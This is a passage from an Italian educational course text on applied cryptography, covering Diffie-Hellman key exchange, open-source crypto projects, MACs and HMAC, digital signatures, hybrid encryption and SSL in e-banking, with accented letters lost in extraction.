cevuti, usando come esponente il proprio valore privato.
Alessandro Bruno
B
a
mod p = g
ab
mod p = A
b
mod p
Il valore ottenuto il segreto condiviso; ora Alessandro
e Bruno possono usarlo per proteggere le loro comunica-
zioni. A e B sono stati trasmessi su una rete insicura senza
nessun rischio per la sicurezza. Neppure g e p hanno biso-
gno di essere tenuti segreti, perch non permettono di sco-
prire il segreto.
Questa versione dello scambio di chiavi vulnerabile al
tipo di attacco chiamato man-in-the-middle (luomo in
mezzo), dove il nemico si presenta ad Alessandro come se
fosse Bruno e a Bruno come se fosse Alessandro, racco-
gliendo e decifrando le informazioni trasmesse. Questa vul-
nerabilit viene eliminata facendo in modo che Alessandro
e Bruno firmino digitalmente i propri valori pubblici, il che
impedisce alluomo in mezzo dingannare Alessandro e
Bruno, come avviene in IKE (Internet Key Exchange). Un ot-
timo riferimento a riguardo IPSec di Nagand Dora-
swamy e Dan Harris (lautore del protocollo IKE).
Questo capitolo ha proposto una serie (non completa)
di spunti sul tema della gestione e distribuzione delle chia-
vi. Come ultimo argomento, citiamo alcuni possibili ap-
procci alla generazione delle chiavi asimmetriche, un
aspetto legato alla loro distribuzione. Abbiamo gi distinto
tra luso di PGP (e delle sue varianti Open Source) e la ge-
nerazione autonoma della coppia di chiavi e il ricorso a una
Certification Authority per la generazione dei certificati e
delle relative chiavi su cui tali certificati si basano. Duran-
te la richiesta di un certificato, la Certification Authority fa
eseguire al computer dellutente la generazione della cop-
pia di chiavi e si prende unicamente la chiave pubblica al
fine di generare il certificato che rilascia contestualmente.
La chiave pubblica viene quindi mantenuta negli archivi
della CA e il proprietario ne dispone di una copia locale as-
sieme alla chiave privata che dovr mantenere segreta, ma-
gari rimuovendola anche dal computer perch la relativa
segretezza costituisce lunica garanzia ai fini dellautenti-
cazione. Nellambito della PKI (infrastruttura a chiave pub-
blica), le coppie di chiavi possono anche essere generate
sul computer della CA, ma tale approccio non viene utiliz-
zato nella pratica poich consente il ripudio, visto che lu-
tente non sarebbe lunico possessore della chiave privata.
Di conseguenza la coppia di chiavi viene sempre generata
sul computer dellutente (per esempio mediante le funzio-
ni del browser) e solo la chiave pubblica viene trasmessa
alla CA o alla RA (Registration Authority, un elemento op-
zionale della PKI a cui la CA pu delegare parte dei propri
compiti). I libri sulla PKI e sulle firme digitali espandono ta-
le argomento, oggetto di discussioni e di varie soluzioni.
Ruolo del software libero nella crittografia
Per software libero (traduzione di free software), sin-
tende software che
1) pu essere liberamente eseguito per qualunque scopo
2) pu essere studiato e adattato da chiunque, data la pub-
blica disponibilit del codice sorgente
3) pu essere liberamente ridistribuito, in modo da aiutare
altri utenti
4) pu essere migliorato e rilasciato al pubblico, cos che
lintera comunit ne tragga beneficio. La definizione
completa di software libero pubblicata nel sito della
Free Software Foundation alla pagina www.fsf.org/licen-
sing/essays/free-sw.html. GNU (pronuncia gutturale co-
me in Wagner), acronimo ricorsivo di GNU is Not Unix,
un esempio di software libero compatibile con Unix e
oggi ampiamente utilizzato nelle varianti GNU/Linux
che utilizzano il kernel (nucleo) di Linux.
Il software libero, grazie alla vitalit delle comunit di
utenti e sviluppatori, ha dato un grosso contributo alla dif-
fusione del software crittografico e allevoluzione delle ca-
ratteristiche di robustezza e prestazioni di tutte le imple-
mentazioni.
La moderna crittografia si basa sul principio gi citato
che preferibile rendere pubblici gli algoritmi e puntare
sulla segretezza e sulle caratteristiche delle chiavi per ot-
tenere il massimo livello di sicurezza. La robustezza di un
crittosistema si basa, in primo luogo, sulla validit dellal-
goritmo (o algoritmi) e sulla lunghezza delle chiavi (altri fat-
tori in gioco sono, ad esempio, la qualit e la correttezza
dellimplementazione e lefficacia della gestione delle chia-
vi). Se lalgoritmo robusto, basta utilizzare chiavi abba-
stanza lunghe per dilatare a piacere (anche trilioni danni)
il tempo presumibilmente necessario per ricostruire una
chiave o comunque violare lalgoritmo.
Vista la complessit e la delicatezza del software critto-
grafico, dove un errore pu sfuggire pi facilmente che nel-
le normali implementazioni, la disponibilit delle specifiche
degli algoritmi ha consentito un ampio studio dei loro pro
e contro e la nascita di numerosi progetti open source e re-
lative implementazioni. Il confronto tra diverse implemen-
tazioni, la partecipazione di esperti e lutilizzo da parte di
un esercito di utenti che non sarebbe stato raggiungibile
dal software a pagamento, ha permesso a tali progetti di
produrre software di qualit eccellente. Anche le aziende
private hanno contribuito allo sviluppo di tale software,
rendendo disponibili implementazioni di riferimento e an-
teponendo i benefici derivanti dalla qualit dei sorgenti,
ampiamente diffusi, al possibile inconveniente del riutiliz-
zo da parte di terzi, che caratterizza il software libero. Inol-
tre, lampia diffusione e lassenza di barriere artificiali ha
permesso ai produttori di software crittografico di esegui-
re test dinteroperabilit dei loro prodotti a costo pi bas-
so e con la necessit di eseguire meno test con i concor-
renti, potenzialmente dispendiosi in termini di tempo e di
energie.
Perci il software libero non va inteso come software
gratuito, anche se pu esserlo; talvolta il software libero,
anche nella crittografia, fornisce maggiori garanzie rispet-
to al software commerciale. La disponibilit dei sorgenti
permette agli utenti che dispongono delle competenze ne-
cessarie di accertarsi che il software sia ben realizzato, im-
plementi fedelmente le specifiche e non nasconda qualche
backdoor.
Una lista non completa, ma significativa di progetti free
software in corso la seguente.
- Progetto OpenSSL (www.openssl.org): si basa sullec-
cellente libreria software SSLeay sviluppata da Eric Young
e Tim Hudson e mette a disposizione unimplementazione
molto robusta dei protocolli SSLv2 e SSLv3 (http://wp.net-
scape.com/eng/ssl3/) e TSLv1 (RFC 2246) e una libreria di
funzioni crittografiche di uso generale, utilizzate sia da al-
tri progetti open source sia da applicazioni software com-
merciali.
- OpenCA Labs (ex Progetto OpenCA, www.openca.org):
unorganizzazione aperta avente lo scopo di studiare e
sviluppare progetti relativi alla PKI. Il progetto originale
stato suddiviso in unit pi piccole per accelerare e meglio
organizzare gli sforzi. Il progetto OpenCA di sviluppo di una
PKI uno sforzo collaborativo per sviluppare una Certifi-
cation Authority open source attraverso luso dei proto-
colli crittografici pi robusti e ampiamente accettati. Open-
CA si basa su diversi progetti open source, come OpenL-
DAP, OpenSSL, Apache e Apache mod_ssl.
- Progetti Open Source PKI Mozilla
(www.mozilla.org/projects/security/pki): librerie critto-
grafiche per lo sviluppo di applicazioni, tra cui Network Se-
curity Services (NSS), Network Security Services for Java
(JSS), Personal Security Manager (PSM) e PKCS #11 Confor-
5.2.5.4 conoscere il
ruolo giocato
dall'open source nel
garantire la
robustezza e la
disponibilit della
crittografia
mance Testing. Gli obiettivi generali di questi progetti sono:
migliorare la qualit, scalabilit e set di funzionalit del co-
dice usato per creare prodotti PKI, incoraggiare lo svilup-
po di applicazioni PKI, migliorare la fiducia nel software di
sicurezza e accelerare la crescita di una piattaforma di si-
curezza basata sugli standard per le-commerce e per In-
ternet.
- Progetto OpenLDAP (www.openldap.org): unimple-
mentazione open source completa di un server LDAP (Li-
ghtweight Directory Access Protocol) e dei relativi stru-
menti di sviluppo. Pur non essendo software crittografico
in senso stretto, un componente di base delle infrastrut-
ture a chiave pubblica.
- Progetto MUSCLE (www.linuxnet.com/): librerie per il
supporto crittografico e smartcard per i sistemi operativi
della famiglia Unix/Linux e Mac OS X. MUSCLE significa Mo-
vement for the Use of Smart Cards in a Linux Environment.
- GnuPG (GNU Privacy Guard, www.gnupg.org): un
completo sostituto (libero) del commerciale PGP, che non
usa algoritmi brevettati ed stato riscritto per essere di-
stribuito con licenza GPL. E una completa implementazio-
ne di OpenPGP (RFC 2440) e pu utilizzare gli algoritmi di
cifratura ed hash ElGamal, DSA, RSA, AES, 3DES, Blowfish,
Twofish, CAST5, MD5, SHA-1, RIPEMD-160 e TIGER. Di per
s, GnuPG uno strumento a linea di comando; pu esse-
re utilizzato dalla linea di comando, da script di shell o da
altri programmi, come i front-end grafici disponibili per
Windows e per Linux.
Uso della crittografia
Come anticipato nei capitoli precedenti, una delle ap-
plicazioni delle tecniche crittografiche a un dato, un docu-
mento oppure un messaggio, consiste nellaccertarne la
provenienza, verificandone lautenticit.
Una tecnica semplice, applicabile ai rapporti bilaterali
tra due interlocutori, luso di una chiave segreta. Le due
parti concordano luso di un algoritmo simmetrico e stabi-
liscono una chiave segreta, che pu essere comunicata di
persona o inviata in modo sicuro (la chiave dovrebbe es-
sere modificata di frequente).
Il mittente pu cifrare lintero messaggio con la chiave
segreta e inviarlo al destinatario. Costui lo decifra e, sicu-
ro che la chiave non sia nota ad alcun estraneo, deduce che
il messaggio proviene effettivamente dal mittente appa-
rente. In tal caso, visto che il messaggio cifrato, viene as-
sicurata sia lautenticit sia la riservatezza.
Se peraltro il messaggio non fosse confidenziale e ci ba-
stasse garantirne lautenticit, anzich cifrare lintero mes-
saggio, potremmo utilizzare un MAC (Message Authenti-
cation Code). Nel capitolo sulle funzioni hash abbiamo vi-
sto che si pu calcolare un hash (o digest), tipicamente di
128 o 160 bit, sul messaggio a cui stata aggiunta la chiave
segreta, dopo di che si spedisce il messaggio pi lhash. Ta-
le hash prende il nome di MAC (codice di autenticazione
del messaggio) perch consente al destinatario di appura-
re se il messaggio autentico, cio proveniente dal mit-
tente dichiarato. Nellipotesi che la chiave sia nota solo al-
le due controparti (basata unicamente sulla fiducia), nes-
sun altro potrebbe impersonare il mittente o modificarne
un messaggio senza farsi scoprire dal destinatario. Que-
stultimo ricalcola lhash sul messaggio pi la chiave e lo
confronta con il MAC ricevuto; se sono uguali, il messaggio
autentico e integro.
Vista lefficienza con cui si calcola un MAC e la compat-
tezza tanto del MAC quanto della chiave segreta, la tecnica
pu essere utilizzata anche su dispositivi con risorse e me-
moria limitate, come le smartcard (in teoria si chiamano
Smart Card, semplificato poi a smart card e, nelluso co-
mune, a smartcard).
Un limite del MAC il suo carattere bilaterale, che non
lo rende estendibile a pi interlocutori. Se da un lato due in-
terlocutori sono pochi, dallaltro sono troppi: un altro li-
mite del MAC che la chiave segreta non associata a un
singolo proprietario, quindi in caso di controversia non
facile appurare le responsabilit. Quando il proprietario
della chiave un programma, anzich una persona, la so-
luzione usare chiavi simmetriche di sessione generate in
modo casuale e di breve durata.
Una tecnica di autenticazione pi efficace consiste nel-
lutilizzo della crittografia a chiave pubblica, vale a dire nel-
luso di algoritmi a chiavi asimmetriche. Il mittente cifra il
dato di cui vuole garantire lautenticit con la propria chia-
ve privata. Chiunque potr decifrarlo con la chiave pub-
blica del mittente, accertandone la provenienza (nessun al-
tro pu usare la sua chiave privata). Tale meccanismo vie-
ne utilizzato per la firma digitale, che essenzialmente un
hash calcolato sul messaggio e cifrato con la chiave priva-
ta del mittente (la firma digitale trattata in una delle pros-
sime lezioni).
Hashing per garantire integrit e autenticazione
Le funzioni hash sono diventate uno dei componenti di
base dei crittosistemi sia simmetrici, sia asimmetrici. Negli
esempi precedenti abbiamo visto che lhashing pu essere
usato in due modi: 1) per produrre un dato di lunghezza
breve e limitata (lhash o digest), ricavato da un input di
lunghezza variabile e 2) per produrre lhash sulla base del
messaggio e di una chiave segreta condivisa tra due inter-
locutori.
Nel primo caso, la funzione di hash si chiama one-way
hash function perch produce una trasformazione a senso
unico, dove a N possibili input corrisponde un output, da
cui non possibile risalire allinput. La corrispondenza N:1
deriva dal fatto che i possibili input sono praticamente illi-
mitati, mentre i possibili valori di output sono 2L, dove L
la lunghezza dellhash (per esempio 128 o 160 bit).
Nel secondo caso il codice di hash viene chiamato MAC
(codice di autenticazione del messaggio) e la tecnica di far
dipendere lhash dal messaggio e da una chiave segreta vie-
ne chiamata keyed hashing.
Il keyed hashing viene usato nella crittografia simmetri-
ca per produrre i codici MAC utilizzati per autenticare i
messaggi e garantirne lintegrit: solo i due interlocutori
posseggono la chiave segreta (solitamente una session key
di breve durata) e qualsiasi modifica al messaggio sarebbe
scoperta dal mittente nel ricalcolare il MAC e nel confron-
tarlo con il MAC ricevuto.
La variante HMAC descritta nel capitolo 5.2.4.1 (Princi-
pi di hashing), pi sicura di un semplice MAC, viene cor-
rentemente usata in molte applicazioni di sicurezza per la
protezione delle comunicazioni su reti TCP/IP (Internet e
reti locali).
Lhashing one-way viene usato nella crittografia asim-
metrica per produrre le firme digitali (ad esempio con gli al-
goritmi RSA o DSA), anche in questo caso per assicurare
lautenticit e lintegrit dei dati trasmessi o archiviati.
In pratica, lautenticazione viene eseguita tramite HMAC
o tramite firme digitali, ma in entrambi i casi si usano i me-
desimi algoritmi di hashing, come MD5 e SHA1. Spesso le
due forme di cifratura, simmetrica e asimmetrica, vengono
impiegate contemporaneamente. Per esempio, SSL utilizza
i certificati a chiave pubblica per la fase di autenticazione
iniziale (almeno del server, in opzione anche del client, che
normalmente un browser) e utilizza gli HMAC sia nella fa-
se di handshaking (scambio di chiavi e accordo sui cifrari
da usare) sia durante la trasmissione del messaggio per ga-
rantirne la riservatezza e lintegrit.
Schemi ibridi analoghi si trovano, ad esempio, nei pro-
www.pcopen.it 35
5.2.6.2 essere
consapevoli dell'uso
di hashing e digest
nel garantire integrit
e autenticazione
5.2.6. Uso della
crittografia
5.2.6.1 conoscere
come utilizzare i
meccanismi della
crittografia per
ottenere
autenticazione.
tocolli IPSec (sicurezza allo strato di rete) e SHTTP (sicu-
rezza allo strato applicativo), con autenticazione dei com-
puter tramite certificato e autenticazione dei messaggi tra-
mite HMAC.
Nellautenticazione dei messaggi di posta elettronica, la
crittografia asimmetrica viene usata per firmare digital-
mente il messaggio, vale a dire per cifrare un hash del mes-
saggio con la chiave privata del mittente.
Autenticazione e non ripudio mediante firma
digitale
I cifrari asimmetrici e gli algoritmi di hashing permetto-
no di verificare lautenticit e lintegrit di un messaggio at-
traverso una firma digitale. Prima di scendere in maggior
dettaglio, vediamo quali sono i requisiti di una firma e se la
firma digitale equivale a una firma autografa.
Una firma autografa serve, principalmente, a fornire cer-
tezza legale e commerciale riguardo: 1) lintenzione e lim-
pegno a realizzare quanto stipulato, 2) lautenticit del do-
cumento, che le firme legano ai firmatari, e 3) lapprova-
zione o lautorizzazione (la firma testimonia che i firmata-
ri hanno letto e approvato il documento). Altri aspetti ri-
guardano la sicurezza di una transazione e laspetto ceri-
moniale (la firma avverte che si sta prendendo un impegno
vincolante e suggerisce al firmatario di ponderare sul do-
cumento e prendere consapevolezza del suo significato e
delle conseguenze, prima di firmarlo).
Una firma devessere difficile da falsificare, non ripudia-
bile (non pu essere cancellata o disconosciuta), inaltera-
bile (dopo lapposizione della firma, non deve essere pos-
sibile modificare il documento) e non trasferibile (da un do-
cumento a un altro).
Il presupposto per la validit delle firme che le chiavi
private siano tenute al sicuro e che i titolari siano respon-
sabili del loro utilizzo fino al momento di uneventuale de-
nuncia di furto o smarrimento. Limpiego del timestamp
nelle firme necessario affinch una successiva compro-
missione (anche volontaria) delle chiavi segrete non porti
allinvalidazione di tutti i documenti firmati, precedenti al-
la compromissione stessa. Ci significa che, se le chiavi e i
digest hanno lunghezza adeguata, la firma pressoch im-
possibile da falsificare e lega il documento al firmatario,
che non potr ripudiare il documento firmato. Dato che la
firma dipende dal contenuto del documento, lintegrit
assicurata. Un documento cartaceo firmato potrebbe es-
sere alterato con maggiori probabilit di successo di quan-
to avvenga per un documento digitale. Per lo stesso moti-
vo, la firma non trasferibile a un altro documento, visto
che strettamente legata al contenuto del documento, a
differenza di una firma autografa che ha sempre lo stesso
aspetto.
Come abbiamo visto, la firma digitale si basa sulla cifra-
tura asimmetrica di un hash o digest calcolato sul conte-
nuto del documento o messaggio. Lhash costituisce unim-
pronta del documento: assai improbabile che documen-
ti diversi producano lo stesso hash, cos com pressoch
impossibile creare un documento capace di produrre un
certo hash. Gli algoritmi di hash pi usati sono MD5 e SHA-
1, questultimo preferibile perch pi sicuro.
La firma viene ottenuta cifrando lhash con un algoritmo
asimmetrico e utilizzando la chiave privata del firmatario.
I cifrari pi utilizzati sono il commerciale RSA o il pubblico
DSA che, insieme a SHA-1, fa parte dello standard DSS di fir-
ma digitale definito dal governo degli Stati Uniti.
Laffidabilit di un sistema di firma digitale dipende da
vari fattori: la robustezza degli algoritmi di hash e cifratu-
ra, la dimensione delle chiavi e degli hash, il livello di pro-
tezione con cui gestita (creata, trasmessa, custodita) la
chiave privata e il grado di certezza che la chiave pubblica
sia autentica, cio appartenga al firmatario del documento.
Se la chiave pubblica viene sostituita, lintero sistema
compromesso, visto che si pu firmare qualunque cosa
con la chiave privata corrispondente alla falsa chiave pub-
blica.
La verifica della firma digitale consiste di tre passi: 1) si
decifra la firma utilizzando la chiave pubblica del firmata-
rio, ricostruendo lhash originale del messaggio, 2) si cal-
cola lhash sul contenuto del messaggio (utilizzando lo
stesso algoritmo usato dal mittente), 3) si confrontano i
due hash, quello della firma e quello ricalcolato: se coinci-
dono, significa che il messaggio non stato alterato e che
la chiave privata con cui stato firmato il documento ap-
partiene allo stesso proprietario della chiave pubblica con
cui stata decifrata la firma.
Dato che per ogni chiave pubblica esiste una sola chia-
ve privata, la verifica di una firma digitale assicura che chi
ha firmato il documento il possessore della chiave priva-
ta. Perch la firma non possa essere ripudiata, occorre sod-
disfare una serie di condizioni. Le principali sono lasso-
ciazione certa tra il firmatario e la sua chiave pubblica, la
custodia sicura della chiave privata e lutilizzo da parte del
firmatario di un software che consenta la visualizzazione
del documento allatto della firma, in modo da avere la cer-
tezza del contenuto.
Il ruolo di una struttura
nelluso della firma digitale
Abbiamo visto le tecniche e gli algoritmi che si possono
utilizzare per garantire lautenticazione, lintegrit, la ri-
servatezza e il non ripudio nello scambio di messaggi at-
traverso un canale di comunicazione non sicuro. Inoltre ab-
biamo notato lesigenza di soddisfare una serie di requisi-
ti affinch sia possibile utilizzare queste tecnologie e affin-
ch esse permettano di raggiungere gli obiettivi di sicurez-
za.
Facciamo un esempio applicato alla posta elettronica,
chiedendoci in che modo il destinatario di un messaggio
possa essere certo dellidentit del mittente. Supponiamo
che il mittente apponga la firma digitale al messaggio nel
modo visto sopra (hashing pi cifratura asimmetrica). Per-
ch il destinatario possa verificare la validit della firma,
necessario che 1) egli possa procurarsi la chiave pubblica
del mittente in modo sicuro, 2) conosca il formato dei dati
e 3) conosca gli algoritmi utilizzati per la composizione e la
firma del messaggio.
www.pcopen.it 36
5.2.6.3 Conoscere i
principali aspetti
della firma
elettronica nel
garantire il non-
ripudio e
l'autenticazione
Procedura per la
creazione di una firma
digitale
Verifica di validit della
firma digitale
Per soddisfare queste condizioni, possibile introdurre
una struttura comune (condivisa da una comunit di uten-
ti) che consenta alle entit che devono comunicare (come
utenti e processi) dinteroperare con successo. In partico-
lare, si pu risolvere il problema della distribuzione sicura
delle chiavi ricorrendo a una struttura gerarchica, la gi ci-
tata Certification Authority (CA), che si faccia garante del-
lidentit di tutte le entit titolari di una chiave pubblica (e
privata). Inoltre, i messaggi e i protocolli di comunicazione
devono essere conformi a determinati standard, indipen-
denti dal sistema operativo, dal software applicativo e da
qualsiasi peculiarit del sistema utilizzato.
La CA garantisce le chiavi pubbliche delle entit del
proprio dominio mediante lemissione dei certificati digi-
tali in formato standard, contenenti:
1) una serie dinformazioni, tra cui il nome del titolare
del certificato, la sua chiave pubblica, il periodo di validit
del certificato e altre informazioni che concorrono a iden-
tificare il titolare e lautorit che emette il certificato; 2) la
firma digitale, apposta alle suddette informazioni utiliz-
zando la chiave privata della CA.
Tutte le entit che fanno parte del dominio (o dominio
di trust) della CA devono ricevere in modo sicuro la chia-
ve pubblica della CA, in modo da poter verificare la validit
di qualunque certificato del proprio dominio. Nel contesto
di una struttura che faccia uso delle CA per lemissione dei
certificati e la generazione delle chiavi asimmetriche, il for-
mato dei certificati per le chiavi pubbliche definito dalla
norma ITU X.509 Versione 3. Lutilizzo di PGP per la cifra-
tura e firma dei messaggi di e-mail alternativo alluso di
una CA ed orientato a comunit limitate dindividui in
rapporto di reciproca fiducia. Pu utilizzare i certificati, ma
essi hanno un formato diverso dallX.509. Nel campo delle
imprese e delle pubbliche istituzioni, vengono usate le CA
e i certificati nellambito di una PKI (infrastruttura a chiavi
pubbliche). Rimandiamo a una sezione successiva (5.2.7.3)
la spiegazione in dettaglio del funzionamento di PGP.
Il formato con cui sono codificati i messaggi creati con
la cifratura asimmetrica definito dallo standard PKCS #7
Cryptographic Message Syntax (CMS). PKCS significa Pu-
blic Key Cryptographic Standard e comprende unintera se-
rie di standard che hanno lobiettivo di agevolare limple-
mentazione delle tecnologie PKI (per esempio, PKCS #1 de-
scrive lo standard di cifratura RSA). PKCS #7 specifica i for-
mati binari usati per la firma digitale e per la busta elet-
tronica. Una busta elettronica (digital envelope) consiste
di un messaggio che usa la cifratura simmetrica a chiave se-
greta e una chiave segreta cifrata in modo asimmetrico (co-
me nellesempio del capitolo 5.2.3.1 - Principi di crittogra-
fia asimmetrica). Qualunque messaggio formattato con
CMS pu essere incapsulato dentro un altro messaggio
CMS, applicando ricorsivamente la busta elettronica. Ci
permette agli utenti di firmare una busta digitale, di cifrare
una firma digitale o di eseguire varie altre funzioni. Lo stan-
dard PKCS #7 stato adottato dallIETF nella RFC 2315, ag-
giornata dalla RFC 2630.
Altre propriet del formato CMS sono: 1) gestisce la fir-
ma congiunta di pi firmatari, 2) gestisce la firma per un nu-
mero arbitrario di destinatari, 3) consente di aggiungere at-
tributi firmati al messaggio, come la data e lora della firma,
4) consente di allegare al messaggio i certificati dei firma-
tari, agevolando la verifica della firma, 5) include gli iden-
tificatori degli algoritmi crittografici utilizzati e gli elemen-
ti che facilitano la decifratura e la verifica della firma.
per ottenere la riservatezza
Come abbiamo visto nei capitoli precedenti, la riserva-
tezza (o confidenzialit) viene ottenuta cifrando i dati, i
messaggi o i documenti da archiviare o da trasmettere. A
seconda delle applicazioni, si utilizzano cifrari simmetrici
(a chiave segreta) o asimmetrici (con chiave privata e chia-
ve pubblica). I cifrari simmetrici possono essere applicati
a dati di dimensioni illimitate, mentre quelli asimmetrici
funzionano per input di poche decine di byte.
Un cifrario simmetrico richiede che due interlocutori
(persone o componenti hardware/software) concordino
sulluso di un algoritmo e scelgano una chiave segreta da
usare per cifratura e decifratura. Il mittente cifra il mes-
saggio e lo trasmette; il destinatario decifra il messaggio
con la stessa chiave usata dal mittente e ripristina il con-
tenuto in chiaro.
Unaltra possibilit utilizzare un programma separato
per la cifratura e decifratura dei file e inviare i dati cifrati co-
me allegati. Ci sono applicazioni di questo tipo sia per uten-
ti finali sia per utenti pi esperti che vogliono controllare
lalgoritmo usato e la lunghezza della chiave.
La crittografia simmetrica semplice da usare ed effi-
ciente, ma presenta il problema della gestione delle chiavi,
che devono essere diverse per ogni coppia dinterlocutori
e devono essere sostituite di frequente.
Se si utilizza la crittografia asimmetrica, ogni interlocu-
tore possiede due chiavi: custodisce al sicuro la chiave pri-
vata e mette a disposizione di chiunque la chiave pubblica.
Il mittente si procura la chiave pubblica del destinatario, la
usa per cifrare il messaggio tramite un cifrario asimmetri-
co e invia il messaggio cifrato. Il destinatario decifra il mes-
saggio usando lo stesso cifrario e la sua chiave privata. In
tal modo, si risolve un problema di distribuzione delle chia-
vi, ma se ne creano altri due: i cifrari asimmetrici sono mol-
to lenti e possono ricevere in input dati molto brevi, perci
debbono lavorare cifrando il messaggio in blocchi il che ral-
lenta ulteriormente le operazioni .
La soluzione sta nellutilizzo contemporaneo dei due ti-
pi di crittografia: asimmetrica per gestire lo scambio delle
chiavi e simmetrica per cifrare i messaggi. La procedura
la seguente:
1) si sceglie un algoritmo simmetrico e uno asimmetrico
2) il mittente si procura la chiave pubblica del destinatario
3) il mittente genera in modo casuale una chiave segreta
appropriata
4) il mittente cifra il messaggio utilizzando la chiave segre-
ta
5) il mittente cifra la chiave segreta utilizzando la chiave
6) il mittente invia al destinatario il messaggio cifrato e la
chiave segreta cifrata, insieme alle informazioni neces-
sarie per la decifratura
7) il destinatario decifra la chiave segreta utilizzando la pro-
pria chiave privata
8) il destinatario decifra il messaggio utilizzando la chiave
segreta.
Tale meccanismo comunemente usato dalle applica-
zioni di comunicazione sicura su Internet, come i client di
posta elettronica, e dai protocolli di trasmissione sicura,
www.pcopen.it 37
5.2.6.4 Conoscere i
principi e le principali
caratteristiche della
cifratura nel garantire
la confidenzialit
asimmetrica per gestire lo
scambio delle chiavi e
simmetrica per cifrare i
messaggi (immagini da 1
a 7)
1
2
come SSL (Secure Sockets Layer). In questultimo caso, il
protocollo opera allo strato di trasporto (sopra il TCP),
quindi non protegge singoli messaggi, ma tutti i dati tra-
smessi nellambito di una connessione Internet.
Le tecniche per ottenere la riservatezza delle informa-
zioni sono utilizzabili anche per la privacy delle informa-
zioni archiviate, in modo che non siano accessibili da estra-
nei. In tal caso si utilizzano solitamente algoritmi simme-
trici; dato che mittente e destinatario coincidono, non c
il problema della trasmissione della chiave segreta, suffi-
ciente che lutente scelga una chiave abbastanza lunga e
complessa e la tenga al sicuro. Tra gli esempi citiamo lEn-
cryption File System di Windows XP (per cifrare file e car-
telle) e applicazioni stand-alone come Axcrypt (http://ax-
crypt.sourceforge.net/), che utilizza AES con chiavi di 128
bit ed particolarmente comodo da usare.
A parte le applicazioni specificamente crittografiche, i
programmi di office automation e le utility di archiviazione
e compressione offrono solitamente opzioni di protezione
dei dati tramite password, generalmente realizzate con crit-
tografia simmetrica.
Tale crittografia viene spesso implementata con un
semplice XOR e assicura un livello di protezione del tutto
insufficiente, valido unicamente a difendersi dagli incom-
petenti, ma non certo per bloccare persone determinate a
violarla (nemmeno se queste sono semplici utenti).
Tuttavia, non sempre documentano lalgoritmo usato, il
quale rischia di non essere abbastanza robusto per pro-
teggere dati importanti. Per garantire la riservatezza, ne-
cessario che lalgoritmo sia robusto (come 3DES e AES),
che la chiave sia di lunghezza adeguata (per esempio 128
bit) e che il suo valore sia non prevedibile e sia mantenuto
segreto.
Applicazioni
Un vasto campo di applicazione delle misure di prote-
zione crittografiche quello degli affari e della pubblica am-
ministrazione. La possibilit di eseguire transazioni da ca-
sa e ufficio attraverso Internet ha portato in primo piano
lesigenza di utilizzare meccanismi di sicurezza adeguati.
Consideriamo lutilizzo di Internet per accedere ai servizi
bancari online (conti correnti, pagamenti, investimenti,
ecc.) e per eseguire operazioni di acquisto e vendita online.
Indipendente dalle reali implementazioni, possiamo svi-
luppare alcune considerazioni.
Le operazioni di e-banking e di e-commerce che un uten-
te pu eseguire on-line sono di due tipi:
1) operazioni di carattere informativo, come la visualizza-
zione di un estratto conto, la situazione dei bonifici, lo
stato degli ordini oppure lo stato di unasta elettronica,
2) operazioni di tipo dispositivo, come un ordine di acqui-
sto, un ordine di bonifico, la vendita di azioni oppure il
pagamento di unutenza.
Le operazioni di carattere informativo forniscono ac-
cesso ai dati in lettura e non danno origine a flussi di de-
naro. Normalmente sufficiente proteggere il canale di co-
municazione e il protocollo SSL incorporato nei browser
perfettamente adeguato allo scopo.
Per le operazioni di tipo dispositivo sono ipotizzabili di-
verse strade. Il protocollo SSL, spesso utilizzato, pu risul-
tare adeguato nei casi in cui glimporti in gioco non sugge-
riscano di adottare meccanismi di protezione pi robusti.
Sebbene SSL utilizzi algoritmi crittografici affidabili, le-
ventuale punto debole che protegge solo il canale di co-
municazione, dopo di che i dati sono messi in chiaro dal
server web, senza un controllo preciso di chi possa acce-
dere alle informazioni.
La protezione crittografica della rete viene spesso di-
stinta in due categorie: link encryption ed end-to-end en-
cryption. La protezione del collegamento (link) si applica
agli strati inferiori dei protocolli di comunicazione, fino al-
lo strato di trasporto in cui opera SSL. Il modello end-to-end
si applica allo strato applicativo: end-to-end significa che
sono le applicazioni, ai due estremi (end) della comunica-
zione, che controllano la cifratura e decifratura e quindi la
messa in chiaro dei dati. In tal modo i dati sono pi protet-
ti e meno soggetti a intrusioni da parte di altre entit del si-
stema.
Esempi di protocolli di sicurezza allo strato applicativo
sono S-HTTP (Secure Hypertext Transport Protocol) e SET
(Secure Electronic Transaction), scarsamente usati rispet-
to a SSL e alla recente variante TLS. Utilizzando lapproccio
end-to-end, lapplicazione pu utilizzare le tecniche di ci-
fratura viste in precedenza sulle singole disposizioni (i mo-
vimenti economici ordinati dallutente) e provvede sia a da-
re corso alle transazioni sia a conservare in modo sicuro i
messaggi degli utenti, esponendo le informazioni alla visi-
bilit strettamente necessaria.
Firma digitale e non ripudio nei servizi
di e-banking e di e-mail
Abbiamo visto che la firma digitale annovera tra le sue
funzioni il non ripudio di un messaggio. Normalmente, pos-
siamo supporre che gli accessi di tipo informativo non ab-
biano bisogno di firma digitale, mentre prevedibile che le
disposizioni debbano essere firmate dal richiedente. In tal
www.pcopen.it 38
3
4
5
6
7
5.2.7. Applicazioni
5.2.7.1 Essere
consapevole dell'uso
della crittografia per
proteggere i dati nelle
transazioni on-line
come avviene nell'e-
commerce e nell'e-
banking
5.2.7.2 Essere
consapevole dell'uso
della firma digitale
per garantire il non-
ripudio
modo, se la firma non risultasse valida (per esempio a cau-
sa di un certificato scaduto o revocato), la disposizione
non verrebbe eseguita. Inoltre i messaggi sono registrati,
cos che la banca o altra organizzazione possa sempre di-
mostrare di aver ricevuto una disposizione valida firmata
dal cliente e non ripudiabile.
Il non ripudio pu non essere sufficiente se non asso-
ciato in modo certo allistante temporale della firma. Per-
ci, la firma digitale pu essere utilmente affiancata da un
servizio di marcatura temporale (timestamp). Si tratta di
un servizio fornito da una Time Stamp Authority (TSA), una
terza parte fidata che attesta il tempo di produzione o din-
vio di un documento tramite una marca temporale, che
di fatto una controfirma del documento contenente un ha-
sh del documento, il riferimento temporale e altre infor-
mazioni.
Nel campo del software libero, OpenTSA (www.opent-
sa.org) sta sviluppando una TSA aperta e gratuita confor-
me alla RFC 3161 (Internet X.509 Public Key Infrastructure
Time-Stamp Protocol - TSP). Trai componenti software gi
prodotti c anche la Time Stamp patch for OpenSSL, une-
stensione di OpenSSL con marcatura temporale.
Il funzionamento di PGP
Pretty Good Privacy (PGP) un programma di sicurez-
za per la posta elettronica realizzato da Phil Zimmermann
